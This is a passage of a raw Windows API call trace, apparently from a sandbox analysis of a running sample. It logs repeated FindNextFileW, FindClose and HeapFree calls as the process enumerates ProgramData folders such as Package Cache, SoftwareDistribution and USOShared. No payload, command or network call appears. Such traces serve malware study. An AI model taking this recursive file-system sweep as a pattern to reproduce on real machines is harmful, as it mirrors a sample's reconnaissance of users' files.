ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd41e3e2d, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0282.656] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.657] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd417172a, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f1dba9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.657] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0282.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.657] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd40fefff, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f768c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005", cAlternateFileName="{A749D~1.210")) returned 1 [0282.657] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.657] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f7778e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd417172a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0282.658] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0282.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.658] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd414b4b9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2f76e30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd414b4b9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.658] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.658] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe5a20, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030", cAlternateFileName="{B1755~1.610")) returned 1 [0282.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.658] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3030713, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf14644f, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0282.658] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0282.658] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.659] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0f9f9b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2fe636a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.659] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0282.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.659] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf087898, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3032038, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030", cAlternateFileName="{BD95A~1.610")) returned 1 [0282.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.659] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033a9d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0f9f9b, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0282.659] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0282.659] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.659] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf0d3d43, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3033181, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xcf0d3d43, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.659] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0282.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.660] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a28d82, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307e4cc, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0a28d82, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}", cAlternateFileName="{CA675~1")) returned 1 [0282.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.660] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030", cAlternateFileName="{CF2BE~1.610")) returned 1 [0282.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.660] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc3080926, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0282.660] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0282.660] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.661] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.661] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.661] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017", cAlternateFileName="{E5127~1.250")) returned 1 [0282.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.661] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc84ca0a, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc84ca0a, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeAdditional_amd64", cAlternateFileName="VCRUNT~1")) returned 0 [0282.661] FindClose (in: hFindFile=0x6ec270 | out: hFindFile=0x6ec270) returned 1 [0282.661] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.661] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.661] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.662] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc767be9, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc767be9, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc767be9, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{e52a6842-b0ac-476e-b48f-378a97a67346}", cAlternateFileName="{E52A6~1")) returned 1 [0282.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.662] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2593ec2, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d43b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2593ec2, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{e6e75766-da0f-4ba2-9788-6ea593ce702d}", cAlternateFileName="{E6E75~1")) returned 1 [0282.662] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.662] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9a674c8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5598, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd9a674c8, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{f325f05b-f963-4640-a43b-c8a494cdda0f}", cAlternateFileName="{F325F~1")) returned 1 [0282.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.663] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 1 [0282.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.663] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d815c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd26eb3fc, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0282.663] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0282.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.663] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2678ce4, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d6870, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0282.663] FindClose (in: hFindFile=0x6ebff0 | out: hFindFile=0x6ebff0) returned 1 [0282.663] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.663] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2652a95, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc30d5efa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2678ce4, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="{F8CFE~1.210")) returned 0 [0282.663] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0282.664] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.664] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x17d079d0, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc3122174, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x53fba98c, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="regid.1991-06.com.microsoft", cAlternateFileName="REGID1~1.MIC")) returned 1 [0282.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.666] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftwareDistribution", cAlternateFileName="SOFTWA~1")) returned 1 [0282.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.666] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0282.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.666] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x7877b7ce, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x7877b7ce, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x7877b7ce, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0282.666] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.666] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOPrivate", cAlternateFileName="USOPRI~1")) returned 1 [0282.667] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.667] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="USOShared", cAlternateFileName="USOSHA~1")) returned 1 [0282.671] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.671] FindNextFileW (in: hFindFile=0x6ec370, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2b3c1520, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x2b3c1520, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Logs", cAlternateFileName="")) returned 0 [0282.672] FindClose (in: hFindFile=0x6ec370 | out: hFindFile=0x6ec370) returned 1 [0282.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.672] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 1 [0282.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0282.672] FindNextFileW (in: hFindFile=0x6ec230, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0282.672] FindClose (in: hFindFile=0x6ec230 | out: hFindFile=0x6ec230) returned 1 [0282.672] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0282.672] FindNextFileW (in: hFindFile=0x6ec330, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WindowsHolographicDevices", cAlternateFileName="WINDOW~1")) returned 0 [0282.672] FindClose (in: hFindFile=0x6ec330 | out: hFindFile=0x6ec330) returned 1 [0282.673] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0282.675] FindNextFileW (in: hFindFile=0x6ec4f0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x785fe036, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x785fe036, ftLastWriteTime.dwHighDateTime=0x1d32743, 